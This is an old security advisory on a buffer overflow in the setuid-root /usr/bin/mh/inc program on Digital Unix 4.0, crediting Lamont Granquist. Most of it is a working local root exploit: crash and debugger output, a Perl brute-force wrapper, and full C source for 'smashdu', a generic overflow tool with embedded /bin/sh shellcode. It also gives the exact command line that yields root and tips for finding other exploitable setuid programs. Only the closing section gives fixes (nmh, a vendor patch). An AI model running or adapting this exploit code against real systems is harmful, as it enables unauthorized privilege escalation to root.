COMMAND

    /usr/bin/mh/inc

SYSTEMS AFFECTED

    Digital Unix 4.0ABCDE

PROBLEM

    Lamont Granquist found follwing.  Previously Digital Unix has been
    relatively immune to  buffer overflow attacks  due to the  lack of
    an executable stack in the 3.x versions.  For the 4.0 versions the
    stack was made  executable -- likely  for JIT compilers  and maybe
    programs that need GCC-like trampolines.  This, of course, greatly
    simplifies the coding  of exploits.   Lamont has actually  written
    shellcode and successfully  exploited several programs  on Digital
    Unix 4.0.  He  managed to successfully exploit  /usr/bin/mh/inc in
    DU4.0D with patch kit #2.   The exploit is belowe, but let's  take
    a look at following first:

        # uname -a
        OSF1 xxx V4.0 878 alpha
        # head -1 /etc/motd
        Digital UNIX V4.0D  (Rev. 878); Fri Jan 15 10:19:07 PST 1999
        # grep KITNAME /var/adm/patch/log/event.log
        KITNAME>Patches for Digital UNIX V4.0D (DUV40DAS00002-19980717,17-Jul-1998:09:17:35)
        # ls -l /usr/bin/mh/inc
        -rws--x--x   1 root     bin        73728 Dec 29  1997 /usr/bin/mh/inc*
        # /usr/bin/mh/inc +foo -audit `perl -e 'print "a" x 8400'` foo
        Segmentation fault (core dumped)
        # gdb /usr/bin/mh/inc core
        GDB is free software and you are welcome to distribute copies of it
         under certain conditions; type "show copying" to see the conditions.
        There is absolutely no warranty for GDB; type "show warranty" for details.
        GDB 4.16 (alpha-dec-osf4.0), Copyright 1996 Free Software Foundation,
        Inc...
        (no debugging symbols found)...
        Core was generated by `inc'.
        Program terminated with signal 11, Segmentation fault.
        [...snip...]
        #0  0x6161616161616160 in ?? ()
        (gdb)

    More info will give us following:

        alpha>> uname -a
        OSF1 xxx V4.0 878 alpha
        alpha>> head -1 /etc/motd
        Digital UNIX V4.0D  (Rev. 878); Tue Jul  7 08:39:27 EDT 1998
        alpha>> ls -l /usr/bin/mh/inc
        -rws--x--x   1 root     bin        73728 Dec 29  1997 /usr/bin/mh/inc*

        alpha>> /usr/bin/mh/inc +foo -audit `perl -e 'print "a" x 8169'` foo
        Segmentation fault
        alpha>> /usr/bin/mh/inc +foo -audit `perl -e 'print "a" x 8168'` foo
        Illegal instruction
        alpha>> /usr/bin/mh/inc +foo -audit `perl -e 'print "a" x 8167'` foo
        Segmentation fault
        alpha>> /usr/bin/mh/inc +foo -audit `perl -e 'print "a" x 8166'` foo
        inc: usage: inc [+folder] [switches]

    We see  at 8168  a's we  have overflowed  the return  address.  In
    normal situation how to come to  that point.  We use same  generic
    script as  for at  vulnerability, but  as the  size of  the buffer
    appears to depend on parameters such as the length of the person's
    username and possibly other factors.   The result is that we  need
    to  wrap  'smashdu'  in  a  little  script to try different buffer
    lengths and offsets into the stack.  The script looks like:

        #!/usr/local/bin/perl

        $n=8175;
        foreach $j (1..1000) {
          foreach $i (0..7) {
            $x = $n + $j;
            printf("%d %d\n",$x,$i);
            $cmd = "./smashdu 1013 $i $x /usr/bin/mh/inc +foo -audit %e foo";
            open(S,"echo id | $cmd 2>&1|") || die "can't open pipe: $?\n";
            while (<S>) {
              if (m|uid=0|) {
                print "got root with '$cmd'\n";
                exit(0);
              }
            }
          close(S);
          }
        }
        exit(0);

    When this script runs it typically looks something like the below.
    It  should  run  for  awhile  with  no errors, then start throwing
    faults then finally give the command line args to 'smashdu'  which
    will work.   If it starts  faulting immediately and  then seems to
    run forever, then try adjusting the starting number in the  script
    (8176) downwards.  The output below is typical:

        % ./doit
        8176 0
        8176 1
        8176 2
        8176 3
        8176 4
        8176 5
        8176 6
        8176 7
        8177 0
        8177 1
        8177 2
        8177 3
        8177 4
        8177 5
        8177 6
        8177 7
        8178 0
        8178 1
        8178 2
        8178 3
        8178 4
        8178 5
        8178 6
        8178 7
        8179 0
        sh: 20897 Memory fault
        8179 1
        sh: 20601 Memory fault
        8179 2
        sh: 20216 Memory fault
        8179 3
        sh: 20942 Memory fault
        8179 4
        sh: 20861 Memory fault
        8179 5
        sh: 20548 Memory fault
        8179 6
        sh: 20639 Memory fault
        8179 7
        sh: 20571 Memory fault
        8180 0
        sh: 20890 Illegal instruction
        8180 1
        sh: 20929 Illegal instruction
        8180 2
        sh: 20994 Illegal instruction
        8180 3
        sh: 17810 Illegal instruction
        8180 4
        sh: 20898 Illegal instruction
        8180 5
        sh: 20651 Illegal instruction
        8180 6
        sh: 430 Illegal instruction
        8180 7
        sh: 3621 Illegal instruction
        8181 0
        sh: 20760 Illegal instruction
        8181 1
        sh: 20832 Illegal instruction
        8181 2
        sh: 20920 Illegal instruction
        8181 3
        sh: 20933 Illegal instruction
        8181 4
        sh: 13099 Illegal instruction
        8181 5
        sh: 20179 Illegal instruction
        8181 6
        sh: 19680 Illegal instruction
        8181 7
        sh: 19839 Illegal instruction
        8182 0
        sh: 19824 Memory fault
        8182 1
        sh: 19901 Memory fault
        8182 2
        sh: 4701 Memory fault
        8182 3
        sh: 107 Memory fault
        8182 4
        sh: 19347 Memory fault
        8182 5
        sh: 20610 Memory fault
        8182 6
        sh: 20946 Memory fault
        8182 7
        sh: 19815 Memory fault
        8183 0
        sh: 19775 Memory fault
        8183 1
        sh: 20532 Memory fault
        8183 2
        sh: 20996 Memory fault
        8183 3
        sh: 20964 Memory fault
        8183 4
        sh: 20676 Memory fault
        8183 5
        sh: 31924 Memory fault
        8183 6
        sh: 20892 Memory fault
        8183 7
        sh: 20853 Memory fault
        8184 0
        sh: 20986 Illegal instruction
        8184 1
        sh: 15606 Illegal instruction
        8184 2
        got root with './smashdu 1013 2 8184 /usr/bin/mh/inc +foo -audit %e foo'

    So, to get root with generic script, do following:

        ./smashdu 1013 2 8184 /usr/bin/mh/inc +foo -audit %e foo

    The code:

    /* smashdu.c
       generic buffer overflow C 'script' for DU4.x (4.0B, 4.0D, ???)
       Lamont Granquist
       lamontg@hitl.washington.edu
       lamontg@u.washington.edu
       Tue Dec  1 11:22:03 PST 1998

       gcc -o smashdu smashdu.c */

    #define MAXENV 30
    #define MAXARG 30

    #include <unistd.h>
    #include <stdlib.h>
    #include <strings.h>
    #include <stdio.h>

    /* shellcode = 80 bytes.  as the entry to this shellcode is at offset+72 bytes
       it cannot be simply padded with nops prior to the shellcode.  */

    int rawcode[] = {
      0x2230fec4,              /* subq $16,0x13c,$17       */
      0x47ff0412,              /* clr $18                  */
      0x42509532,              /* subq $18, 0x84           */
      0x239fffff,              /* xor $18, 0xffffffff, $18 */
      0x4b84169c,
      0x465c0812,
      0xb2510134,              /* stl $18, 0x134($17)      */
      0x265cff98,              /* lda $18, 0xff978cd0      */
      0x22528cd1,
      0x465c0812,              /* xor $18, 0xffffffff, $18 */
      0xb2510140,              /* stl $18, 0x140($17)      */
      0xb6110148,              /* stq $16,0x148($17)       */
      0xb7f10150,              /* stq $31,0x150($17)       */
      0x22310148,              /* addq $17,0x148,$17       */
      0x225f013a,              /* ldil $18,0x13a           */
      0x425ff520,              /* subq $18,0xff,$0         */
      0x47ff0412,              /* clr $18                  */
      0xffffffff,              /* call_pal 0x83            */
      0xd21fffed,              /* bsr $16,$l1    ENTRY     */
      0x6e69622f,              /* .ascii "/bin"            */
                               /* .ascii "/sh\0" is generated */
    };

    int nop           = 0x47ff041f;
    int shellcodesize = 0;
    int padding       = 0;
    int overflowsize  = 0;
    long retaddr      = 0x11fffff24;


    void usage(void) {
      fprintf(stderr, "smashdu [-e <env>] [-r <ra>] ");
      fprintf(stderr, "shellsize pad bufsize <cmdargs>\n");
      fprintf(stderr, "  -e: add a variable to the environment\n");
      fprintf(stderr, "  -r: change ra from default 0x11fffff24\n");
      fprintf(stderr, "  shellsize: size of shellcode on the heap\n");
      fprintf(stderr, "  pad: padding to alighn the shellcode correctly\n");
      fprintf(stderr, "  bufsize: size of the buffer overflow on the stack\n");
      fprintf(stderr, "  cmdargs: %%e will be replaced by buffer overflow\n");
      fprintf(stderr, "ex: smashdu -e \"DISPLAY=foo:0.0\" 1024 2 888 ");
      fprintf(stderr, "/foo/bar %%e\n");
      exit(-1);
    }

    /* this handles generation of shellcode of the appropriate size and with
       appropriate padding bytes for alignment.  the padding argument should
       typically only be 0,1,2,3 and the routine is "nice" in that if you feed
       it the size of your malloc()'d buffer it should prevent overrunning it
       by automatically adjusting the shellcode size downwards. */


    int genshellcode(char *shellcode, int size, int padding) {
      int i, s, n;
      char *rp;
      char *sp;
      char *np;

      rp = (char *)rawcode;
      sp = (char *)shellcode;
      np = (char *)&nop;
      s  = size;

      if (size < (80 + padding))  {
        fprintf(stderr, "cannot generate shellcode that small: %d bytes, ");
        fprintf(stderr, "with %d padding\n", size, padding);
        exit(-1);
      }

    /* first we pad */
      for(i=0;i<padding;i++) {
        *sp = 0x6e;
        sp++;
        s--;
      }

    /* then we copy over the first 72 bytes of the shellcode */
      for(i=0;i<72;i++) {
        *sp = rp[i];
        sp++;
        s--;
      }

      if (s % 4 != 0) {
        n = s % 4;
        s -= n;
        printf("shellcode truncated to %d bytes\n", size - n);
      }

    /* then we add the nops */
      for(i=0; s > 8; s--, i++) {
        *sp = np[i % 4];
        sp++;
      }
      n = i / 4;       /* n == number of nops */

    /* then we add the tail 2 instructions */
      for(i=0; i < 8; i++) {
        *sp = rp[i+72];
        if(i==0)   /* here we handle modifying the branch instruction */
          *sp -= n;
        *sp++;
      }

    }

    int main(argc, argv)
      int   argc;
      char *argv[];
    {
      char *badargs[MAXARG];
      char *badenv[MAXENV];
      long  i, *ip, p;
      char *cp, *ocp;
      int   c, env_idx, overflow_idx;

      env_idx = 0;

      while ((c = getopt(argc, argv, "e:r:")) != EOF) {
        switch (c) {
        case 'e':                         /* add an env variable */
          badenv[env_idx++] = optarg;
          if (env_idx >= MAXENV - 2) {
            fprintf(stderr, "too many envs, ");
            fprintf(stderr, "try increasing MAXENV and recompiling\n");
            exit(-1);
          }
          break;
        case 'r':                         /* change default ra */
          sscanf(optarg, "%x", &retaddr);
          break;
        default:
          usage();
          /* NOTREACHED */
        }
      }

      if (argc - optind < 4) {
        usage();
      }

      shellcodesize = atoi(argv[optind++]);
      padding       = atoi(argv[optind++]);
      overflowsize  = atoi(argv[optind++]);

      printf("using %d %d %d\n", shellcodesize, padding, overflowsize);

    /* copy the args over from argv[] into badargs[] */
      for(i=0;i<29;i++) {
        if (strncmp(argv[optind], "%e", 3) == 0) {  /* %e gets the shellcode */
          badargs[i] = malloc(overflowsize);
          overflow_idx = i;
          optind++;
        } else {
          badargs[i] = argv[optind++];
        }
        if (optind >= argc) {
          i++;
          break;
        }
      }

      badargs[i] = NULL;

      if (optind < argc) {
        fprintf(stderr, "too many args, try increasing MAXARG and recompiling\n");
        exit(-1);
      }

      printf("putting overflow code into argv[%d]\n", overflow_idx);

      cp = badargs[overflow_idx];
      for(i=0;i<overflowsize-8;i++) {
        *cp = 0x61;
        cp++;
      }

      ocp = (char *) &retaddr;

      for(i=0;i<8;i++) {
        cp[i] = ocp[i];
      }

    /* here is where we actually shovel the shellcode into the environment */
      badenv[env_idx] = malloc(1024);
      genshellcode(badenv[env_idx++],shellcodesize,padding);
      badenv[env_idx] = NULL;

    /* and now we call our program with the hostile args */
      execve(badargs[0], badargs, badenv);

    }

    To those who will try to play with exploits now, here's few notes:
    - do the extra work to check  with gdb to see if the program  will
      jump to the magic  '0x6161616161616160' address -- if  you can't
      get this far then you  aren't able to tweak the  return address.
      There's a  lot of  programs in  digital unix  that dump core and
      stubbornly refuse  to give  a 0x6161616161616160  and without  a
      source  license  it's  hard  to  figure  out  if  they  might be
      exploitable  with  a  bit  more  sophisticated  attack.  It may,
      however, help to trim down the size of the argument that  you're
      overflowing with a bit.
    - Please figure  out what the  size of the  buffer is that  you're
      smashing  by  reducing  your  smashing  argument to the smallest
      size  which  gives  an  error.   This  goes  along with the last
      sentence above -- Get it as small as possible, then add about 24
      (to hopefully make  sure that you're  hitting the RA  -- try 40,
      60,  100   if  24   doesn't  work)   and  then   look  for   the
      0x6161616161616160.  The binary search algorithm is your  friend
      for this step.
    - Check to make sure that you can get values other than 0x61 ('a')
      into the return address.
      /usr/sbin/trpt -p `perl -e 'print "a" x 600' will give the magic
      '0x6161616161616160' but  the overflow  bytes are  restricted to
      hex  [A-Fa-F0-9]  and  you  can't  write  shellcode that is that
      restricted  (and  those  restrictions  on  ra locations probably
      makes it damn  near impossible to  exploit this one  even if you
      had that kind of shellcode).

SOLUTION

    Anybody who is still  using MH should pass  over to nmh, which  is
    maintained:

        http://www.math.gatech.edu/nmh/

    For patch, take a look at:

        http://ftp.service.digital.com/patches/public/unix/v4.0/ssrt0583u.README